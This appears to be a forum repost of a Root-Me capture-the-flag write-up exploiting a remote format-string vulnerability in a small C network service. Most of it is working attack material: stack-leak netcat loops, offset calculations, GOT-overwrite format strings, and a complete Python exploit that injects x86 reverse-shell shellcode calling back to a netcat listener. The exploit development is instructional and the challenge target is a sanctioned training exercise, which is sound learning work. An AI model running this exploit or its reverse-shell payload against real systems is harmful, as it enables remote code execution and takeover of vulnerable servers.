Jump to content
Nytro

[Root-Me] Remote Binary 2 - An advanced remote format string example

Recommended Posts

[h=3][Root-Me] Remote Binary 2 - An advanced remote format string example [/h]Hello,

Today, we're going to exploit a remote format string! :)

It sures changes from classic format strings.

Anyhow, this is a perfect example of a fully reliable remote exploit using info leaking capabilities.

Like other posts, I will try to explain and develop (almost) the entire exploit development process.

I hope you like this formula, otherwise tell me.

On to the show,

[h=2]The target[/h] The challenge is located here: Remote Binary 2 .

The binary is not protected at all, the difficulty lies in that it is in a remote location.

Here is the source code:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/wait.h>

#include <arpa/inet.h>

#include <unistd.h>

#define LISTEN_PORT 56006

#define LENGTH 1024

extern char **environ;

int ssock;

int recv_loop(void)

{

int csock;

struct sockaddr_in caddr;

socklen_t clen = sizeof(caddr);

char input[LENGTH];

char output[LENGTH];

while(1)

{

if( (csock = accept(ssock, (struct sockaddr *) &caddr, &clen)) < 0) {

perror("accept()");

exit(1);

}

memset(input, '\0', LENGTH);

memset(output, '\0', LENGTH);

recv(csock, input, LENGTH-1, 0);

snprintf (output, sizeof (output), input);

output[sizeof (output) - 1] = '\0';

send(csock, output, LENGTH-1, 0);

close(csock);

}

return 0;

}

int main(void)

{

int i, pid, yes = 1;

struct sockaddr_in saddr;

for(i=0; environ != NULL; i++) {

memset(environ, '\0', strlen(environ));

}

saddr.sin_family = AF_INET;

saddr.sin_addr.s_addr = htonl(INADDR_ANY);

saddr.sin_port = htons(LISTEN_PORT);

while(1)

{

pid = fork();

if( pid == 0 ) {

printf("run (pid=%d)\n", getpid());

if( (ssock = socket(PF_INET, SOCK_STREAM, 0)) < 0) {

perror("socket()");

exit(1);

}

if(setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) <0) {

perror("setsockopt()");

exit(1);

}

if( bind(ssock, (struct sockaddr*) &saddr, sizeof(saddr)) < 0) {

perror("bind()");

exit(1);

}

if( listen(ssock, 5) < 0) {

perror("listen()");

exit(1);

}

recv_loop();

} else {

wait(NULL);

close(ssock);

}

}

return 0;

}

As we can see, these are infinite loops and it fork() for each received request.

environ is set to 0 so we can't use it for our shellcode.

I won't bother you too much with the ASM as you can guess but basically:

while (1) {

// code

}

loop:

// code

jmp loop

This is important to mention as there won't be a SEIP that we can really use as the functions never return there.

Also, since it forks at each and every request, it means we could bruteforce the child address space. We are not going to do that: it is not really clean, there is a better solution as you will see through reading the rest of this article.

Looking a bit further, we locate the vulnerability in recv_loop(), we control the format string!

There a no overflow however and memory is reset to 0 at each iteration.

There is even some basic error checking to see if accept() succeed.

From there we can devise an attack strategy:

- we can write anywhere: let's patch a GOT entry! We have the choice

- thing is, if we patch send(), close() or accept(), we have to set up our payload and execute in one go, we cannot check for proper write before for instance (first rule of an exploit: reliability).

- lucky for us, if accept() fail then it perror() and exit(), we just need to patch ssock to make accept() fail. We thus can trigger our payload whenever we want.

Thing is, before we can do all that, we need addresses!

[h=2]Infoleak to the rescue[/h] Format strings are useful for reading AND writing!!! So we are going to dump part of the stack.

This is especially useful for remote processes, ASLR+PIE+DEP binaries for instance as it allows to completely bypass those protections altogether.

The technique I used here to dump the stack is through the "direct parameter access".

# we leak part of the stack

for index in {1..746}; do echo "index $index = %$index\$x" | nc -v 127.0.0.1 56006 >> dump.raw; done

# we extract only our data (and not the '\x00'..)

strings dump.raw > dump.log

There are other techniques such as using %s format string for dumping arbitrary valid memory locations. This is more hardcore though, I haven't tried it yet.

Here we got a text file, we would like to have a binary dump:

#!/usr/bin/python

import sys

import struct

if len (sys.argv) != 3:

print 'Usage: {0} input output'.format (sys.argv[0])

exit (1)

(progname, input_filename, output_filename) = sys.argv

# parse dump.log

values = []

with open (input_filename, 'r') as fp:

content = fp.read()

content = content.replace ('\\n', '')

content = content.split ('\n')

for line in content:

fields = line.split ('=')

if len (fields) != 2:

continue

value = fields[1].strip ()

# value = struct.pack ('<I', value)

value = int (value, 16)

values.append (value)

# reconstruct stack

with open (output_filename, 'wb') as fpw:

for value in values:

bin_val = struct.pack ("<I", value)

fpw.write (bin_val)

print '{0} parsed to {1}'.format (input_filename, output_filename)

As you can see, it is a much more usable format:

$ ./stack-rebuild.py dump.log dump.bindump.log parsed to dump.bin$ hexdump -C dump.bin00000000  00 00 00 00 00 00 00 00  00 00 00 00 34 20 3d 20  |............4 = |00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|*00000400  00 00 00 00 00 00 00 00  00 00 00 00 32 36 30 20  |............260 |00000410  3d 20 25 32 36 32 24 78  5c 6e 0a 00 00 00 00 00  |= %262$x\n......|00000420  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|*00000800  00 00 00 00 00 00 00 00  00 00 00 00 10 00 00 00  |................|00000810  02 00 8b 6e 7f 00 00 01  00 00 00 00 00 00 00 00  |...n............|00000820  03 00 00 00 f4 1f fd b7  d7 ff ff bf e8 fc ff bf  |................|00000830  38 8a 04 08 00 00 00 00  05 00 00 00 10 00 00 00  |8...............|00000840  d4 fc ff bf 04 00 00 00  f4 9f 04 08 01 00 00 00  |................|00000850  55 85 04 08 e4 23 fd b7  0d 00 00 00 f4 9f 04 08  |U....#..........|00000860  ff ff ff ff ff ff ff ff  02 00 da c6 00 00 00 00  |................|00000870  25 02 e6 b7 80 d2 fe b7  01 00 00 00 00 00 00 00  |%...............|00000880  0b 00 00 00 60 8a 04 08  00 00 00 00 00 00 00 00  |....`...........|00000890  d3 64 e4 b7 01 00 00 00  84 fd ff bf 8c fd ff bf  |.d..............|000008a0  58 c8 fd b7 00 00 00 00  1c fd ff bf 8c fd ff bf  |X...............|000008b0  00 00 00 00 6c 83 04 08  f4 1f fd b7 00 00 00 00  |....l...........|000008c0  00 00 00 00 00 00 00 00  15 44 9e 14 05 80 ae 23  |.........D.....#|000008d0  00 00 00 00 00 00 00 00  00 00 00 00 01 00 00 00  |................|000008e0  b0 86 04 08 00 00 00 00  b0 26 ff b7 e9 63 e4 b7  |.........&...c..|000008f0  f4 ef ff b7 01 00 00 00  b0 86 04 08 00 00 00 00  |................|00000900  d1 86 04 08 63 88 04 08  01 00 00 00 84 fd ff bf  |....c...........|00000910  60 8a 04 08 d0 8a 04 08  80 d2 fe b7 7c fd ff bf  |`...........|...|00000920  18 f9 ff b7 01 00 00 00  8c fe ff bf 00 00 00 00  |................|00000930  b1 fe ff bf bc fe ff bf  cc fe ff bf e1 fe ff bf  |................|00000940  1f ff ff bf 3e ff ff bf  5e ff ff bf 6f ff ff bf  |....>...^...o...|00000950  90 ff ff bf 98 ff ff bf  b0 ff ff bf 00 00 00 00  |................|00000960  20 00 00 00 14 d4 fd b7  21 00 00 00 00 d0 fd b7  | .......!.......|00000970  10 00 00 00 ff fb eb 0f  06 00 00 00 00 10 00 00  |................|00000980  11 00 00 00 64 00 00 00  03 00 00 00 34 80 04 08  |....d.......4...|00000990  04 00 00 00 20 00 00 00  05 00 00 00 09 00 00 00  |.... ...........|000009a0  07 00 00 00 00 e0 fd b7  08 00 00 00 00 00 00 00  |................|000009b0  09 00 00 00 b0 86 04 08  0b 00 00 00 00 04 00 00  |................|000009c0  0c 00 00 00 00 04 00 00  0d 00 00 00 00 04 00 00  |................|000009d0  0e 00 00 00 00 04 00 00  17 00 00 00 00 00 00 00  |................|000009e0  19 00 00 00 6b fe ff bf  1f 00 00 00 d7 ff ff bf  |....k...........|000009f0  0f 00 00 00 7b fe ff bf  00 00 00 00 00 00 00 00  |....{...........|00000a00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 80  |................|00000a10  0f 0c 84 d2 b3 75 b5 2e  54 cf 42 17 94 c5 10 69  |.....u..T.B....i|00000a20  36 38 36 00 00 00 00 00  00 00 00 00 00 00 00 00  |686.............|00000a30  2f 63 68 61 6c 6c 65 6e  67 65 2f 72 62 69 6e 61  |/challenge/rbina|00000a40  72 79 2f 72 62 69 6e 61  72 79 32 2f 72 62 69 6e  |ry/rbinary2/rbin|00000a50  61 72 79 32 00 00 00 00  00 00 00 00 00 00 00 00  |ary2............|00000a60  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|*00000b70  00 00 00 00 00 00 00 00  00 00 00 2f 63 68 61 6c  |.........../chal|00000b80  6c 65 6e 67 65 2f 72 62  69 6e 61 72 79 2f 72 62  |lenge/rbinary/rb|00000b90  69 6e 61 72 79 32 2f 72  62 69 6e 61 72 79 32 00  |inary2/rbinary2.|00000ba0  00 00 00 00                                       |....|

Now, let dig through it for stack addresses:

$ grep '= bf' dump.log

523 = bfffffd7\n

524 = bffffce8\n

529 = bffffcd4\n

551 = bffffd84\n

552 = bffffd8c\n

555 = bffffd1c\n

556 = bffffd8c\n

580 = bffffd84\n

584 = bffffd7c\n

587 = bffffe8c\n

589 = bffffeb1\n

590 = bffffebc\n

591 = bffffecc\n

592 = bffffee1\n

593 = bfffff1f\n

594 = bfffff3e\n

595 = bfffff5e\n

596 = bfffff6f\n

597 = bfffff90\n

598 = bfffff98\n

599 = bfffffb0\n

634 = bffffe6b\n

636 = bfffffd7\n

638 = bffffe7b\n

Neat, we have a couple of stack addresses. For now, we don't know to what they map to.

Anyhow, we mainly need offsets now to esp, ebp, input_buffer and output_buffer. Let's see how to get them from rbinary2.

[h=2]Getting addresses offsets out of the binary[/h]

[h=3]Addresses[/h]

For extracting addresses we'are interested in, we are going to use GDB for disassembly and readelf for GOT addresses.

Let's disassemble it! (I've cutted part of the disassembly, only showing parts of interest)

gdb$ disassemble recv_loopDump of assembler code for function recv_loop:   0x08048764 <+0>: push   ebp   0x08048765 <+1>: mov    ebp,esp   0x08048767 <+3>: push   edi   0x08048768 <+4>: push   ebx   0x08048769 <+5>: sub    esp,0x830   0x0804876f <+11>: mov    DWORD PTR [ebp-0x20],0x10   0x08048776 <+18>: mov    eax,ds:0x804a064<...>   0x080487a6 <+66>: mov    DWORD PTR [esp],0x1   0x080487ad <+73>: call   0x80485f0 <exit@plt>   ; memset   0x080487b2 <+78>: lea    eax,[ebp-0x420]   0x080487b8 <+84>: mov    ebx,eax   0x080487ba <+86>: mov    eax,0x0   0x080487bf <+91>: mov    edx,0x100   0x080487c4 <+96>: mov    edi,ebx   0x080487c6 <+98>: mov    ecx,edx   0x080487c8 <+100>: rep stos DWORD PTR es:[edi],eax   ; memset   0x080487ca <+102>: lea    eax,[ebp-0x820]   0x080487d0 <+108>: mov    ebx,eax   0x080487d2 <+110>: mov    eax,0x0   0x080487d7 <+115>: mov    edx,0x100   0x080487dc <+120>: mov    edi,ebx   0x080487de <+122>: mov    ecx,edx   0x080487e0 <+124>: rep stos DWORD PTR es:[edi],eax<...>   0x0804885e <+250>: jmp    0x8048776 <recv_loop+18>End of assembler dump.

Let's get GOT addresses!

rbinary2@challenge02:~$ readelf -r ~/rbinary2
Relocation section '.rel.dyn' at offset 0x47c contains 2 entries: Offset     Info    Type            Sym.Value  Sym. Name08049ff0  00000806 R_386_GLOB_DAT    00000000   __gmon_start__0804a058  00001705 R_386_COPY        0804a058   __environ
Relocation section '.rel.plt' at offset 0x48c contains 20 entries: Offset     Info    Type            Sym.Value  Sym. Name0804a000  00000107 R_386_JUMP_SLOT   00000000   setsockopt0804a004  00000207 R_386_JUMP_SLOT   00000000   printf0804a008  00000307 R_386_JUMP_SLOT   00000000   wait0804a00c  00000407 R_386_JUMP_SLOT   00000000   htons0804a010  00000507 R_386_JUMP_SLOT   00000000   perror0804a014  00000607 R_386_JUMP_SLOT   00000000   accept0804a018  00000707 R_386_JUMP_SLOT   00000000   getpid0804a01c  00000807 R_386_JUMP_SLOT   00000000   __gmon_start__0804a020  00000907 R_386_JUMP_SLOT   00000000   exit0804a024  00000a07 R_386_JUMP_SLOT   00000000   __libc_start_main0804a028  00000b07 R_386_JUMP_SLOT   00000000   bind0804a02c  00000c07 R_386_JUMP_SLOT   00000000   memset0804a030  00000d07 R_386_JUMP_SLOT   00000000   snprintf0804a034  00000e07 R_386_JUMP_SLOT   00000000   fork0804a038  00000f07 R_386_JUMP_SLOT   00000000   htonl0804a03c  00001007 R_386_JUMP_SLOT   00000000   listen0804a040  00001107 R_386_JUMP_SLOT   00000000   socket0804a044  00001207 R_386_JUMP_SLOT   00000000   recv0804a048  00001307 R_386_JUMP_SLOT   00000000   close0804a04c  00001407 R_386_JUMP_SLOT   00000000   send

From there, we can extract ssock address (remember it is a global variable from C source code) and perror() GOT address.

# addressesperror_got = 0x804a010ssock_addr = 0x804a064

Now onto offsets.

[h=3]Offsets[/h]

In order to extract offsets, it would be great to attach gdb to our running rbinary2. Unfortunately, we have no clue as to what is the pid of our rbinary2.

Most people will rejoice at the idea that we have the source code and can recompile it.

It's the WRONG WAY. Simply because we have absolutely no clues as to what were the compilation flags used. As such, the compiled binary could be completely different to the existing rbinary2, neither the code or offsets will be the same (due to optimizations and other funky compiler features).

The BETTER WAY, would be to use the actual binary, patch the network port on which to bind and voilà!

We know the original binary bind to port 56006 (0xDAC6), we thus have to search for \xC6\xDA in the binary (don't forget that it's in little endian here) and change it to whatever port we want it to bind.

ghex.png

From there, we can actually debug our target and step through it.

I didn't use much the debugger other than for the purpose of getting offsets.

Here how to do it through GDB.

First we look at the ASM code to see where to break.

We are going to break at address 0x0804876f as we will have the correct value of ESP computed.

We dump part of the stack:

gdb ~/rbinary2gdb$ x/1000wx $esp0xbffff420: 0x00000000 0x00000000 0x00000000 0x000000000xbffff430: 0x00000000 0x00000000 0x00000000 0x00000000<...>0xbffffc50: 0xb7fd1ff4 0xbfffffe8 0xbffffcb8 0x08048a38<...>0xbfffffe0: 0x00000000 0x00000000 0x706d742f 0x2f32722f0xbffffff0: 0x63746170 0x2e646568 0x006e6962 0x00000000

We have to localize where is our format string dumped stack from earlier, basically, 0x0848a38 is located in our format string stack dump! Doing some calculation, we can find the start of our stack dump:

[TABLE]

[TR]

[TD=class: gutter]

[/TD]

[TD=class: code]0xbffffc58 - 523 * 4 = 0xbffff42c = start of format stack

[/TD]

[/TR]

[/TABLE]

We will use 0xbffffcb8 to compute our addresses as in our format string dump stack, the stack pointer preceding it is not aligned on a 4-bytes boundary.

Now we can have ESP offset:

[TABLE]

[TR]

[TD=class: gutter]

[/TD]

[TD=class: code]0xbffffcb8 - 0xbffff420 = offset to esp = 0x898 = 2200

[/TD]

[/TR]

[/TABLE]

From there, we can deduce EBP, the input buffer address and the output buffer address through these formulas:

esp = leaked_addr - 0x898ebp = esp + 0x838input_buf = ebp - 0x420output_buf = ebp - 0x820landing = input_buf + 100

The landing address is arbitrary, we leave 100 bytes for the format string (but you can adjust it as long as it doesn't end up after the input_buf bounds.

We got all our offsets and thus can compute all the necessary addresses!

What is left?

Oh right, our format strings for first patching the GOT entry then the other one for triggering the payload by patching ssock!

[h=2]Advanced format strings techniques[/h] First we need to find the offset (compared to the format string stack pointer) at which we can find our format string.

For that, we are going to use TESO format string techniques for finding offset using the following pattern:

[TABLE]

[TR]

[TD=class: gutter]

[/TD]

[TD=class: code]<needle><stackpop>|%08x

[/TD]

[/TR]

[/TABLE]

We change the stackpop after each iteration, after some time we should see the needle.

Here, ou needle is "AAAABBBBCCCC".

Let's try:

[TABLE]

[TR]

[TD=class: gutter]

[/TD]

[TD=class: code]rbinary2@challenge02:/tmp$ for index in {1..10}; do printf "$index:" >> dump3.raw && python -c 'print "A" * 4 + "B" * 4 + "C" * 4 + "%u" * '`echo $index`' + "|%08x"' | nc 127.0.0.1 56006 >> dump3.raw; done

[/TD]

[/TR]

[/TABLE]

We can see this:

rbinary2@challenge02:/tmp$ strings dump3.raw1:AAAABBBBCCCC0|000000002:AAAABBBBCCCC00|000000003:AAAABBBBCCCC000|414141414:AAAABBBBCCCC0001094795585|424242425:AAAABBBBCCCC00010947955851111638594|434343436:AAAABBBBCCCC000109479558511116385941128481603|313030307:AAAABBBBCCCC000109479558511116385941128481603825241648|373439308:AAAABBBBCCCC000109479558511116385941128481603825241648926169392|383535399:AAAABBBBCCCC000109479558511116385941128481603825241648926169392943011129|3131313510:AAAABBBBCCCC000109479558511116385941128481603825241648926169392943011129825307445|38333631

So we can infer that after 2 stackpop (%u), we are at the beginning of our format stack.

Now for our writing format string, here is the pattern used (still from TESO):

[TABLE]

[TR]

[TD=class: code]<padding><stackpop><pair of value and address * 2><write code>

[/TD]

[/TR]

[/TABLE]

We only use 2 pairs as we are going to use short writes (in order to avoid trashing more bytes than necessary).

After playing around, we end up with the following format strings:

[TABLE]

[TR]

[TD=class: code]got_patch = "A%u%u%u<dummy><got_addr+2><dummy><got_addr><write1><write2>"

payload_trigger = "A%u%u%u<dummy>&ltssock_addr><write><payload>"

[/TD]

[/TR]

[/TABLE]

What is left is for the writes calculation.

Let's say we want to land on address 0xBFFFF8CC, here how I compute the 2 lengths:

# format elements

padding = 'A'

stackpop = '%u%u%u'

pairs = '{0}{0}{1}{1}'.format ( struct.pack ("<I", perror_got + 2), struct.pack ("<I", perror_got) )

# length calculation for correct address generation

print '[+] Calculating lengths'

landing1 = ((landing & 0xffff0000) >> 16)

len1 = landing1 - len (padding + stackpop + pairs) + 3 # 3 for '%hn'

len2 = (landing & 0xffff) - landing1

ow we have everything we need for a full reliable remote exploit for this challenge.

Here it is.

[h=2]The exploit[/h] I hardcoded the payload (it is a reverse shell) but you can modify the exploit as you like.

Just don't forget to wait with netcat listening:

[TABLE]

[TR]

[TD=class: gutter]

[/TD]

[TD=class: code]nc -v -l -p [lport]

[/TD]

[/TR]

[/TABLE]

#!/usr/bin/python

from socket import *

import struct

import sys

# read from binary file

def read_values_from_binfile (filename):

# fill values array

values = []

with open (filename, 'rb') as fpr:

content = fpr.read()

span = 4

values = [ struct.unpack ('<I', content[i:i+span])[0] for i in range(0, len(content), span) ]

return values

# leak stack through format string

def leak_addresses (host, port, start = 1, end = 746):

values = []

for idx in range (start, end):

csock = socket (AF_INET, SOCK_STREAM)

csock.connect ( (host, port) )

fmt = '%{0}$x'.format (idx)

csock.send (fmt)

raw = csock.recv(8)

# search c string

value = ''

for c in raw:

if c == '\x00':

break

value += c

values.append ( int (value, 16) )

csock.close ()

return values

def filter_addr (addr_list, base_addr):

filtered = []

for value in values:

if value & 0xff000000 == base_addr:

filtered.append (value)

return filtered

if len (sys.argv) == 2:

(progname, filename) = sys.argv

elif len (sys.argv) == 4:

(progname, host, port, lport) = sys.argv

port = int (port, 10)

lport = int (lport, 10)

lport = struct.pack ('>H', lport)

print 'lport: {0}'.format (lport)

else:

print 'Usage (2 args): {0} dump_name'.format (sys.argv[0])

print 'Usage (3 args): {0} host port lport'.format (sys.argv[0])

exit (1)

print '[+] Leaking part of stack'

if 'filename' in locals():

values = read_values_from_binfile (filename)

elif 'host' in locals() and 'port' in locals():

values = leak_addresses ( host, port )

else:

print 'Failed execution'

exit (1)

# filter out only stack address

stack_addr_list = filter_addr (values, 0xbf000000)

libs = filter_addr (values, 0xb7000000)

'''

dirty hack to get stack address

better: align values to array of offsets and determine correct stack address

'''

leaked_addr = values[523]

print '[+] Got leaked address'

# compute buffer addresses

print '[+] Computing addresses'

esp = leaked_addr - 0x898

ebp = esp + 0x838

input_buf = ebp - 0x420

output_buf = ebp - 0x820

landing = input_buf + 100

print ' esp : 0x{0:x}'.format (esp)

print ' ebp : 0x{0:x}'.format (ebp)

print ' input : 0x{0:x}'.format (input_buf)

print ' output : 0x{0:x}'.format (output_buf)

print ' landing: 0x{0:x}'.format (landing)

# addresses

perror_got = 0x804a010

ssock_addr = 0x804a064

# format elements

padding = 'A'

stackpop = '%u%u%u'

pairs = '{0}{0}{1}{1}'.format ( struct.pack ("<I", perror_got + 2), struct.pack ("<I", perror_got) )

# length calculation for correct address generation

print '[+] Calculating lengths'

landing1 = ((landing & 0xffff0000) >> 16)

len1 = landing1 - len (padding + stackpop + pairs) + 3 # 3 for '%hn'

len2 = (landing & 0xffff) - landing1

# construct format strings

print '[+] Building perror_got patch format string'

fmt_write_got = padding + stackpop + pairs + '%{0}u%hn'.format (len1) + '%{0}u%hn'.format (len2)

print ' {0}'.format (fmt_write_got)

# reverse shell to port 11111

print '[+] Building ssock patch format string'

payload = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"

payload += "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd"

payload += "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01"

payload += "\x01\x66\x68" + lport + "\x66\x6a\x02\x89\xe1"

payload += "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b"

payload += "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

payload += "\x6e\x89\xe3\x31\xc9\xcd\x80"

print '[+] payload = {0}'.format (payload)

fmt_write_ssock = padding + stackpop + struct.pack ("<I", ssock_addr) * 2 + '%10u%hn'

# too much nopsled cause the payload to be cutted off, need to calculate better

# nopsled = (1023 - len (fmt_write_ssock)) * '\x90'

nopsled = 100 * '\x90'

fmt_write_ssock += nopsled + payload

print ' {0}'.format (fmt_write_ssock)

# format string write

# payload + format will patch ssock to cause accept to fail, exit and go to our shellcode

if len (sys.argv) == 4:

print '[+] Patching exit.got function pointer'

csock = socket (AF_INET, SOCK_STREAM)

csock.connect ( (host, port) )

csock.send ( fmt_write_got )

csock.close ()

print '[+] Triggering payload!!!'

csock = socket (AF_INET, SOCK_STREAM)

csock.connect ( (host, port) )

csock.send ( fmt_write_ssock )

csock.close ()

print '[+] You should have gotten a reverse shell, if not, the exploit failed'

print 'Bye'

[h=2]Conclusion[/h] As you could see, as always, with dedication come the prize: a full reliable remote exploit for rbinary2.

Anyhow, this post was to illustrate how we can make use of infoleak for bettering the reliability of an exploit.

In this case, if ASLR+DEP+Full PIE were to be activated, it would still be exploitable thanks to the infoleak. This is left as an exercise to the readers.

For those wanting to train more, you could also bruteforce the format string stack pointer offset remotely and completely automate the format string construction.

And also, I've heard multiple times: this paper is so ooold, useless! It's old sure, but the more techniques you have in your bag, the more you will be prepared. We never know, sometime old and simple techniques are the most effecient to use.

I hope you enjoyed this article,

Cheers,

m_101

Reference:

- The challenge: Remote Binary 2

- The bible on format string exploitation: Format Strings by TESO

Publié par m_101

Sursa: Binary world for binary people :): [Root-Me] Remote Binary 2 - An advanced remote format string example

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...